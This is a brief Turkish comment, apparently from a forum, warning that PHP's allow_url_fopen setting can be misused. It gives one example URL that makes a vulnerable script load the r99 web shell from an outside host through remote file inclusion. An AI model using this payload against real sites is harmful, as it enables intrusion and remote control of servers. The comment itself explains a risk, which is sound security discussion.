allow_url_fopen ile yanlış hatırlamıyorsam kötü amaç için kullanılabilir.
Örneğin; siteadresiniz.com/administrator/ali.php?=http://www.fsoyolu.com/r99.txt şeklinde bir URL çağrımı yaptırılarak, tabi scriptinizden açığından yararlanılarak r99 serverinize yüklenmeden script açığı sayesinde...